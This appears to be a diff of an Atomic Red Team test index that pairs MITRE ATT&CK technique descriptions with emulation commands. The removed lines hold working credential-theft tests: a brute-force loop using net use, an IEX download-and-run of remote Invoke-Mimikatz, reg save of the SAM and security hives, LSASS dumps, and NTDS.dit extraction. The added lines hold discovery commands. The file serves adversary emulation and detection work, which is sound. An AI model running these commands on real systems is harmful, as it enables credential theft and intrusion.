numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver) + Example commands and utilities that obtain this information include ver, [Systeminfo](https://attack.mitre.org/software/S0096), and dir within [cmd](https://attack.mitre.org/software/S0106) for identifying information based on present files and directories. - A related technique called password spraying uses one password (e.g. 'Password01'), or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying) + ### Mac - Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following: + On Mac, the systemsetup command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the system_profiler gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions. - * SSH (22/TCP) - * Telnet (23/TCP) - * FTP (21/TCP) - * NetBIOS / SMB / Samba (139/TCP & 445/TCP) - * LDAP (389/TCP) - * Kerberos (88/TCP) - * RDP / Terminal Services (3389/TCP) - * HTTP/HTTP Management Services (80/TCP & 443/TCP) - * MSSQL (1433/TCP) - * Oracle (1521/TCP) - * MySQL (3306/TCP) - * VNC (5900/TCP) + ### AWS + In Amazon Web Services (AWS), the Application Discovery Service may be used by an adversary to identify servers, virtual machines, software, and software dependencies running.(Citation: Amazon System Discovery) - In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625. - x_mitre_permissions_required: - - User - identifier: T1110 + ### GCP + + On Google Cloud Platform (GCP) GET /v1beta1/{parent=organizations/*}/assets or POST /v1beta1/{parent=organizations/*}/assets:runDiscovery may be used to list an organizations cloud assets, or perform asset discovery on a cloud environment.(Citation: Google Command Center Dashboard) + + ### Azure + + In Azure, the API request GET https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachines/{vmName}?api-version=2019-03-01 may be used to retrieve information about the model or instance view of a virtual machine.(Citation: Microsoft Virutal Machine API) + id: attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1 + x_mitre_platforms: + - Linux + - macOS + - Windows + - AWS + - GCP + - Azure + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '2.0' + type: attack-pattern + x_mitre_detection: |- + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. + + Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). + + In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Praetorian + created: '2017-05-31T21:31:04.307Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: discovery + external_references: + - external_id: T1082 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1082 + - source_name: capec + external_id: CAPEC-312 + url: https://capec.mitre.org/data/definitions/312.html + - source_name: Amazon System Discovery + description: Amazon. (n.d.). What Is AWS Application Discovery Service?. Retrieved + October 8, 2019. + url: https://docs.aws.amazon.com/en_pv/application-discovery/latest/userguide/what-is-appdiscovery.html + - source_name: Google Command Center Dashboard + description: 'Google. (2019, October 3). Quickstart: Using the dashboard. + Retrieved October 8, 2019.' + url: https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard + - source_name: Microsoft Virutal Machine API + description: Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved + October 8, 2019. + url: https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get + modified: '2019-10-10T17:30:17.393Z' + identifier: T1082 atomic_tests: - - name: Brute Force Credentials - description: 'Creates username and password files then attempts to brute force - on remote host + - name: System Information Discovery + description: 'Identify System Info ' supported_platforms: - windows - input_arguments: - input_file_users: - description: Path to a file containing a list of users that we will attempt - to brute force - type: Path - default: DomainUsers.txt - input_file_passwords: - description: Path to a file containing a list of passwords we will attempt - to brute force with - type: Path - default: passwords.txt - remote_host: - description: Hostname of the target system we will brute force upon - type: String - default: "\\\\COMPANYDC1\\IPC$" - domain: - description: Domain name of the target system we will brute force upon - type: String - default: YOUR_COMPANY executor: name: command_prompt elevation_required: false command: | - net user /domain > #{input_file_users} - echo "Password1" >> #{input_file_passwords} - echo "1q2w3e4r" >> #{input_file_passwords} - echo "Password!" >> #{input_file_passwords} - @FOR /F %n in (#{input_file_users}) DO @FOR /F %p in (#{input_file_passwords}) DO @net use #{remote_host} /user:#{domain}\%n %p 1>NUL 2>&1 && @echo [*] %n:%p && @net use /delete #{remote_host} > NUL - T1003: - technique: - external_references: - - url: https://attack.mitre.org/techniques/T1003 - source_name: mitre-attack - external_id: T1003 - - external_id: CAPEC-567 - source_name: capec - url: https://capec.mitre.org/data/definitions/567.html - - url: https://github.com/Neohapsis/creddump7 - source_name: GitHub Creddump7 - description: Flathers, R. (2018, February 19). creddump7. Retrieved April - 11, 2018. - - url: https://en.wikipedia.org/wiki/Active_Directory - source_name: Wikipedia Active Directory - description: Wikipedia. (2018, March 10). Active Directory. Retrieved April - 11, 2018. - - url: https://msdn.microsoft.com/library/cc422924.aspx - source_name: Microsoft GPP Key - description: Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April - 11, 2018. - - url: http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx - source_name: SRD GPP - description: 'Security Research and Defense. (2014, May 13). MS14-025: An - Update for Group Policy Preferences. Retrieved January 28, 2015.' - - url: https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html - source_name: Obscuresecurity Get-GPPPassword - description: Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell. - Retrieved April 11, 2018. - - url: https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/ - source_name: TechNet Blogs Credential Protection - description: Wilson, B. (2016, April 18). The Importance of KB2871997 and - KB2928120 for Credential Protection. Retrieved April 11, 2018. - - url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-vista/cc749211(v=ws.10) - source_name: Microsoft CredSSP - description: Microsoft. (2008, July 25). Credential Security Service Provider - and SSO for Terminal Services Logon. Retrieved April 11, 2018. - - url: https://msdn.microsoft.com/library/cc228086.aspx - source_name: Microsoft DRSR Dec 2017 - description: Microsoft. (2017, December 1). MS-DRSR Directory Replication - Service (DRS) Remote Protocol. Retrieved December 4, 2017. - - url: https://msdn.microsoft.com/library/dd207691.aspx - source_name: Microsoft GetNCCChanges - description: Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December - 4, 2017. - - url: https://wiki.samba.org/index.php/DRSUAPI - source_name: Samba DRSUAPI - description: SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017. - - url: https://source.winehq.org/WineAPI/samlib.html - source_name: Wine API samlib.dll - description: Wine API. (n.d.). samlib.dll. Retrieved December 4, 2017. - - url: https://adsecurity.org/?p=1729 - source_name: ADSecurity Mimikatz DCSync - description: Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, - and Detection. Retrieved August 7, 2017. - - url: http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/ - source_name: Harmj0y Mimikatz and DCSync - description: Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, - Oh My. Retrieved August 7, 2017. - - url: https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM - source_name: InsiderThreat ChangeNTLM July 2017 - description: Warren, J. (2017, July 11). Manipulating User Passwords with - Mimikatz. Retrieved December 4, 2017. - - url: https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump - source_name: GitHub Mimikatz lsadump Module - description: Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved - August 7, 2017. - - url: https://msdn.microsoft.com/library/cc237008.aspx - source_name: Microsoft NRPC Dec 2017 - description: Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. - Retrieved December 6, 2017. - - url: https://github.com/mattifestation/PowerSploit - source_name: Powersploit - description: PowerSploit. (n.d.). Retrieved December 4, 2014. - - url: http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/ - source_name: Harmj0y DCSync Sept 2015 - description: Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, - Oh My. Retrieved December 4, 2017. - - url: https://msdn.microsoft.com/library/cc245496.aspx - source_name: Microsoft SAMR - description: Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote - Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017. - - url: https://adsecurity.org/?p=1729 - source_name: AdSecurity DCSync Sept 2015 - description: Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, - and Detection. Retrieved December 4, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Vincent Le Toux - - Ed Williams, Trustwave, SpiderLabs - x_mitre_data_sources: - - API monitoring - - Process monitoring - - PowerShell logs - - Process command-line parameters - modified: '2019-02-05T23:16:08.052Z' - x_mitre_detection: "### Windows\nCommon credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) - access the LSA Subsystem Service (LSASS) process by opening the process, locating - the LSA secrets key, and decrypting the sections in memory where credential - details are stored. Credential dumpers may also use methods for reflective - [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential - indicators of malicious activity.\n\nHash dumpers open the Security Accounts - Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) - or create a dump of the Registry SAM key to access stored account password - hashes. Some hash dumpers will open the local file system as a device and - parse to the SAM table to avoid file access defenses. Others will make an - in-memory copy of the SAM table before reading hashes. Detection of compromised - [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries - may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows - Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor - processes and command-line arguments for program execution that may be indicative - of credential dumping. Remote access tools may contain built-in features or - incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). - [PowerShell](https://attack.mitre.org/techniques/T1086) scripts also exist - that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz - module, (Citation: Powersploit) which may require additional logging features - to be configured in the operating system to collect necessary information - for analysis.\n\nMonitor domain controller logs for replication requests and - other unscheduled activity possibly associated with DCSync. (Citation: Microsoft - DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) - Note: Domain controllers may not log replication requests originating from - the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). - Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: - Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft - SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity - DCSync Sept 2015)\n\n### Linux\nTo obtain the passwords and hashes stored - in memory, processes must open a maps file in the /proc filesystem for the - process being analyzed. This file is stored under the path /proc//maps, - where the directory is the unique pid of the program being - interrogated for such authentication data. The AuditD monitoring tool, which - ships stock in many Linux distributions, can be used to watch for hostile - processes opening this file in the proc file system, alerting on the pid, - process name, and arguments of such programs." - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - - Linux - - macOS - kill_chain_phases: - - phase_name: credential-access - kill_chain_name: mitre-attack - id: attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22 - name: Credential Dumping - created: '2017-05-31T21:30:19.735Z' - x_mitre_version: '1.0' - type: attack-pattern - description: "Credential dumping is the process of obtaining account login and - password information, normally in the form of a hash or a clear text password, - from the operating system and software. Credentials can then be used to perform Lateral - Movement and access restricted information.\n\nSeveral of the tools mentioned - in this technique may be used by both adversaries and professional security - testers. Additional custom tools likely exist as well.\n\n### Windows\n\n#### - SAM (Security Accounts Manager)\n\nThe SAM is a database file that contains - local accounts for the host, typically those found with the ‘net user’ command. - To enumerate the SAM database, system level access is required.\n \nA number - of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* - pwdumpx.exe \n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* - secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry - with [Reg](https://attack.mitre.org/software/S0075):\n\n* reg save HKLM\\sam - sam\n* reg save HKLM\\system system\n\nCreddump7 can then - be used to process the SAM database locally to retrieve hashes. (Citation: - GitHub Creddump7)\n\nNotes:\nRid 500 account is the local, in-built administrator.\nRid - 501 is the guest account.\nUser accounts start with a RID of 1,000+.\n\n#### - Cached Credentials\n\nThe DCC2 (Domain Cached Credentials version 2) hash, - used by Windows Vista and newer caches credentials when the domain controller - is unavailable. The number of default cached credentials varies, and this - number can be altered per system. This hash does not allow pass-the-hash style - attacks.\n \nA number of tools can be used to retrieve the SAM file through - in-memory techniques.\n\n* pwdumpx.exe \n* [gsecdump](https://attack.mitre.org/software/S0008)\n* - [Mimikatz](https://attack.mitre.org/software/S0002)\n\nAlternatively, reg.exe - can be used to extract from the Registry and Creddump7 used to gather the - credentials.\n\nNotes:\nCached credentials for Windows Vista are derived using - PBKDF2.\n\n#### Local Security Authority (LSA) Secrets\n\nWith SYSTEM access - to a host, the LSA secrets often allows trivial access from a local account - to domain-based account credentials. The Registry is used to store the LSA - secrets.\n \nWhen services are run under the context of local or domain users, - their passwords are stored in the Registry. If auto-logon is enabled, this - information will be stored in the Registry as well.\n \nA number of tools - can be used to retrieve the SAM file through in-memory techniques.\n\n* pwdumpx.exe - \n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* - secretsdump.py\n\nAlternatively, reg.exe can be used to extract from the Registry - and Creddump7 used to gather the credentials.\n\nNotes:\nThe passwords extracted - by his mechanism are UTF-16 encoded, which means that they are returned in plaintext.\nWindows - 10 adds protections for LSA Secrets described in Mitigation.\n\n#### NTDS - from Domain Controller\n\nActive Directory stores information about members - of the domain including devices and users to verify credentials and define - access rights. The Active Directory domain database is stored in the NTDS.dit - file. By default the NTDS file will be located in %SystemRoot%\\NTDS\\Ntds.dit - of a domain controller. (Citation: Wikipedia Active Directory)\n \nThe following - tools and techniques can be used to enumerate the NTDS file and the contents - of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* - Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n\n#### - Group Policy Preference (GPP) Files\n\nGroup Policy Preferences (GPP) are - tools that allowed administrators to create domain policies with embedded - credentials. These policies, amongst other things, allow administrators to - set local accounts.\n\nThese group policies are stored in SYSVOL on a domain - controller, this means that any domain user can view the SYSVOL share and - decrypt the password (the AES private key was leaked on-line. (Citation: Microsoft - GPP Key) (Citation: SRD GPP)\n\nThe following tools and scripts can be used - to gather and decrypt the password file from Group Policy Preference XML files:\n\n* - Metasploit’s post exploitation module: \"post/windows/gather/credentials/gpp\"\n* - Get-GPPPassword (Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nNotes:\nOn - the SYSVOL share, the following can be used to enumerate potential XML files.\ndir - /s * .xml\n\n#### Service Principal Names (SPNs)\n\nSee [Kerberoasting](https://attack.mitre.org/techniques/T1208).\n\n#### - Plaintext Credentials\n\nAfter a user logs on to a system, a variety of credentials - are generated and stored in the Local Security Authority Subsystem Service (LSASS) - process in memory. These credentials can be harvested by a administrative - user or SYSTEM.\n\nSSPI (Security Support Provider Interface) functions as - a common interface to several Security Support Providers (SSPs): A Security - Support Provider is a dynamic-link library (DLL) that makes one or more security - packages available to applications.\n\nThe following SSPs can be used to access - credentials:\n\nMsv: Interactive logons, batch logons, and service logons - are done through the MSV authentication package.\nWdigest: The Digest Authentication - protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple - Authentication Security Layer (SASL) exchanges. (Citation: TechNet Blogs Credential - Protection)\nKerberos: Preferred for mutual client-server domain authentication - in Windows 2000 and later.\nCredSSP:  Provides SSO and Network Level Authentication for Remote - Desktop Services. (Citation: Microsoft CredSSP)\n \nThe following tools can - be used to enumerate credentials:\n\n* [Windows Credential Editor](https://attack.mitre.org/software/S0005)\n* - [Mimikatz](https://attack.mitre.org/software/S0002)\n\nAs well as in-memory - techniques, the LSASS process memory can be dumped from the target host and - analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* - procdump -ma lsass.exe lsass_dump\n\nLocally, mimikatz can be - run:\n\n* sekurlsa::Minidump lsassdump.dmp\n* sekurlsa::logonPasswords\n\n#### - DCSync\n\nDCSync is a variation on credential dumping which can be used to - acquire sensitive information from a domain controller. Rather than executing - recognizable malicious code, the action works by abusing the domain controller's - \ application programming interface (API) (Citation: Microsoft DRSR Dec 2017) - (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine - API samlib.dll) to simulate the replication process from a remote domain controller. - Any members of the Administrators, Domain Admins, Enterprise Admin groups - or computer accounts on the domain controller are able to run DCSync to pull - password data (Citation: ADSecurity Mimikatz DCSync) from Active Directory, - which may include current and historical hashes of potentially useful accounts - such as KRBTGT and Administrators. The hashes can then in turn be used to - create a Golden Ticket for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1097) - (Citation: Harmj0y Mimikatz and DCSync) or change an account's password as - noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098). - (Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been - included in the \"lsadump\" module in Mimikatz. (Citation: GitHub Mimikatz - lsadump Module) Lsadump also includes NetSync, which performs DCSync over - a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017)\n\n### - Linux\n\n#### Proc filesystem\n\nThe /proc filesystem on Linux contains a - great deal of information regarding the state of the running operating system. - Processes running with root privileges can use this facility to scrape live - memory of other running programs. If any of these programs store passwords - in clear text or password hashes in memory, these values can then be harvested - for either usage or brute force attacks, respectively. This functionality - has been implemented in the [MimiPenguin](https://attack.mitre.org/software/S0179), - an open source tool inspired by [Mimikatz](https://attack.mitre.org/software/S0002). - The tool dumps process memory, then harvests passwords and hashes by looking - for text strings and regex patterns for how given applications such as Gnome - Keyring, sshd, and Apache use memory to store such authentication artifacts." - x_mitre_permissions_required: - - Administrator - - SYSTEM - - root - identifier: T1003 - atomic_tests: - - name: Powershell Mimikatz - description: 'Dumps Credentials via Powershell by invoking a remote mimikatz - script + systeminfo + reg query HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum + - name: System Information Discovery + description: 'Identify System Info ' supported_platforms: - - windows - input_arguments: - remote_script: - description: URL to a remote Mimikatz script that dumps credentials - type: Url - default: https://raw.githubusercontent.com/EmpireProject/Empire/dev/data/module_source/credentials/Invoke-Mimikatz.ps1 + - linux + - macos executor: - name: powershell - elevation_required: true - command: 'IEX (New-Object Net.WebClient).DownloadString(''#{remote_script}''); - Invoke-Mimikatz -DumpCreds - -' - - name: Gsecdump - description: 'https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5 + name: sh + command: | + systemsetup + system_profiler + ls -al /Applications + - name: List OS Information + description: 'Identify System Info ' supported_platforms: - - windows + - linux + - macos executor: - name: command_prompt - elevation_required: true - command: 'gsecdump -a - -' - - name: Windows Credential Editor - description: 'http://www.ampliasecurity.com/research/windows-credentials-editor/ + name: sh + command: | + uname -a >> /tmp/loot.txt + cat /etc/lsb-release >> /tmp/loot.txt + cat /etc/redhat-release >> /tmp/loot.txt + uptime >> /tmp/loot.txt + cat /etc/issue >> /tmp/loot.txt + - name: Linux VM Check via Hardware + description: 'Identify virtual machine hardware. This technique is used by the + Pupy RAT and other malware. ' supported_platforms: - - windows - input_arguments: - output_file: - description: Path where resulting data should be placed - type: Path - default: output.txt + - linux executor: - name: command_prompt - elevation_required: true - command: 'wce -o #{output_file} + name: bash + command: | + cat /sys/class/dmi/id/bios_version | grep -i amazon + cat /sys/class/dmi/id/product_name | grep -i "Droplet\|HVM\|VirtualBox\|VMware" + cat /sys/class/dmi/id/chassis_vendor | grep -i "Xen\|Bochs\|QEMU" + sudo dmidecode | grep -i "microsoft\|vmware\|virtualbox\|quemu\|domu" + cat /proc/scsi/scsi | grep -i "vmware\|vbox" + cat /proc/ide/hd0/model | grep -i "vmware\|vbox\|qemu\|virtual" + sudo lspci | grep -i "vmware\|virtualbox" + sudo lscpu | grep -i "Xen\|KVM\|Microsoft" + - name: Linux VM Check via Kernel Modules + description: 'Identify virtual machine guest kernel modules. This technique + is used by the Pupy RAT and other malware. ' - - name: Registry dump of SAM, creds, and secrets - description: | - Local SAM (SAM & System), cached credentials (System & Security) and LSA secrets (System & Security) can be enumerated - via three registry keys. Then processed locally using https://github.com/Neohapsis/creddump7 supported_platforms: - - windows + - linux executor: - name: command_prompt - elevation_required: true - command: | - reg save HKLM\sam sam - reg save HKLM\system system - reg save HKLM\security security - cleanup_command: | - rm sam - rm system - rm security - - name: Dump LSASS.exe Memory using ProcDump - description: | - The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals - ProcDump. The tool may be downloaded from https://docs.microsoft.com/en-us/sysinternals/downloads/procdump. - supported_platforms: - - windows - input_arguments: - output_file: - description: Path where resulting dump should be placed - type: Path - default: lsass_dump.dmp - executor: - elevation_required: true - name: command_prompt - command: 'procdump.exe -accepteula -ma lsass.exe #{output_file} - -' - - name: Dump LSASS.exe Memory using Windows Task Manager - description: | - The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task - Manager and administrative permissions. - supported_platforms: - - windows - executor: - name: manual - steps: | - 1. Open Task Manager: - On a Windows system this can be accomplished by pressing CTRL-ALT-DEL and selecting Task Manager or by right-clicking - on the task bar and selecting "Task Manager". - - 2. Select lsass.exe: - If lsass.exe is not visible, select "Show processes from all users". This will allow you to observe execution of lsass.exe - and select it for manipulation. + name: bash + command: |- + sudo lsmod | grep -i "vboxsf\|vboxguest" + sudo lsmod | grep -i "vmw_baloon\|vmxnet" + sudo lsmod | grep -i "xen-vbd\|xen-vnif" + sudo lsmod | grep -i "virtio_pci\|virtio_net" + sudo lsmod | grep -i "hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc" + T1016: + technique: + x_mitre_data_sources: + - Process monitoring + - Process command-line parameters + x_mitre_permissions_required: + - User + name: System Network Configuration Discovery + description: |- + Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103). - 3. Dump lsass.exe memory: - Right-click on lsass.exe in Task Manager. Select "Create Dump File". The following dialog will show you the path to the saved file. - - name: Offline Credential Theft With Mimikatz - description: | - The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with - Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz. - supported_platforms: - - windows - input_arguments: - input_file: - description: Path where resulting dump should be placed - type: Path - default: lsass_dump.dmp - executor: - name: manual - steps: | - 1. Open Mimikatz: - Execute `mimikatz` at a command prompt. + Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. + id: attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0 + x_mitre_platforms: + - Linux + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + type: attack-pattern + x_mitre_detection: |- + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. - 2. Select a Memory Dump: - Within the Mimikatz interactive shell, execute `sekurlsa::minidump #{input_file}` + Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-05-31T21:30:27.342Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: discovery + external_references: + - external_id: T1016 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1016 + - source_name: capec + external_id: CAPEC-309 + url: https://capec.mitre.org/data/definitions/309.html + modified: '2019-08-12T19:44:26.156Z' + identifier: T1016 + atomic_tests: + - name: System Network Configuration Discovery + description: 'Identify network configuration information - 3. Obtain Credentials: - Within the Mimikatz interactive shell, execute `sekurlsa::logonpasswords full` - - name: Dump Active Directory Database with NTDSUtil - description: | - The Active Directory database NTDS.dit may be dumped using NTDSUtil for offline credential theft attacks. This capability - uses the "IFM" or "Install From Media" backup functionality that allows Active Directory restoration or installation of - subsequent domain controllers without the need of network-based replication. +' supported_platforms: - windows - input_arguments: - output_folder: - description: Path where resulting dump should be placed - type: Path - default: C:\Atomic_Red_Team executor: name: command_prompt - elevation_required: true - command: 'ntdsutil "ac i ntds" "ifm" "create full #{output_folder}" q q - -' - - name: Create Volume Shadow Copy with NTDS.dit - description: 'The Active Directory database NTDS.dit may be dumped by copying - it from a Volume Shadow Copy. + elevation_required: false + command: | + ipconfig /all + netsh interface show + arp -a + nbtstat -n + net config + - name: System Network Configuration Discovery + description: 'Identify network configuration information ' supported_platforms: - - windows - input_arguments: - drive_letter: - description: Drive letter to source VSC (including colon) - type: String - default: 'C:' + - macos + - linux executor: - name: command_prompt - elevation_required: true - command: 'vssadmin.exe create shadow /for=#{drive_letter} + name: sh + elevation_required: false + command: | + arp -a + netstat -ant | awk '{print $NF}' | grep -v '[a-z]' | sort | uniq -c + ifconfig + T1049: + technique: + x_mitre_permissions_required: + - User + - Administrator + x_mitre_data_sources: + - Process monitoring + - Process command-line parameters + name: System Network Connections Discovery + description: "Adversaries may attempt to get a listing of network connections + to or from the compromised system they are currently accessing or from remote + systems by querying for information over the network. \n\nAn adversary who + gains access to a system that is part of a cloud-based environment may map + out Virtual Private Clouds or Virtual Networks in order to determine what + systems and services are connected. The actions performed are likely the same + types of discovery techniques depending on the operating system, but the resulting + information may include details about the networked cloud environment relevant + to the adversary's goals. Cloud providers may have different ways in which + their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: + Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview)\n\n### + Windows\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), + \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039).\n\n### + Mac and Linux \n\nIn Mac and Linux, netstat and lsof + can be used to list current connections. who -a and w + can be used to show which users are currently logged in, similar to \"net + session\"." + id: attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475 + x_mitre_platforms: + - Linux + - macOS + - Windows + - AWS + - GCP + - Azure + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '2.0' + type: attack-pattern + x_mitre_detection: |- + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + + Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Praetorian + created: '2017-05-31T21:30:45.139Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: discovery + external_references: + - external_id: T1049 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1049 + - description: Amazon. (n.d.). What Is Amazon VPC?. Retrieved October 6, 2019. + source_name: Amazon AWS VPC Guide + url: https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html + - description: Annamalai, N., Casey, C., Almeida, M., et. al.. (2019, June 18). + What is Azure Virtual Network?. Retrieved October 6, 2019. + source_name: Microsoft Azure Virtual Network Overview + url: https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview + - description: Google. (2019, September 23). Virtual Private Cloud (VPC) network + overview. Retrieved October 6, 2019. + source_name: Google VPC Overview + url: https://cloud.google.com/vpc/docs/vpc + modified: '2019-10-06T17:57:39.670Z' + identifier: T1049 + atomic_tests: + - name: System Network Connections Discovery + description: 'Get a listing of network connections. ' - - name: Copy NTDS.dit from Volume Shadow Copy - description: "The Active Directory database NTDS.dit may be dumped by copying - it from a Volume Shadow Copy.\n\nThis test requires steps taken in the test - \"Create Volume Shadow Copy with NTDS.dit\".\nA successful test also requires - the export of the SYSTEM Registry hive. \nThis test must be executed on a - Windows Domain Controller.\n" supported_platforms: - windows - input_arguments: - vsc_name: - description: Name of Volume Shadow Copy - type: String - default: "\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1" - extract_path: - description: Path for extracted NTDS.dit - type: Path - default: C:\Extract executor: name: command_prompt - elevation_required: true + elevation_required: false command: | - copy #{vsc_name}\Windows\NTDS\NTDS.dit 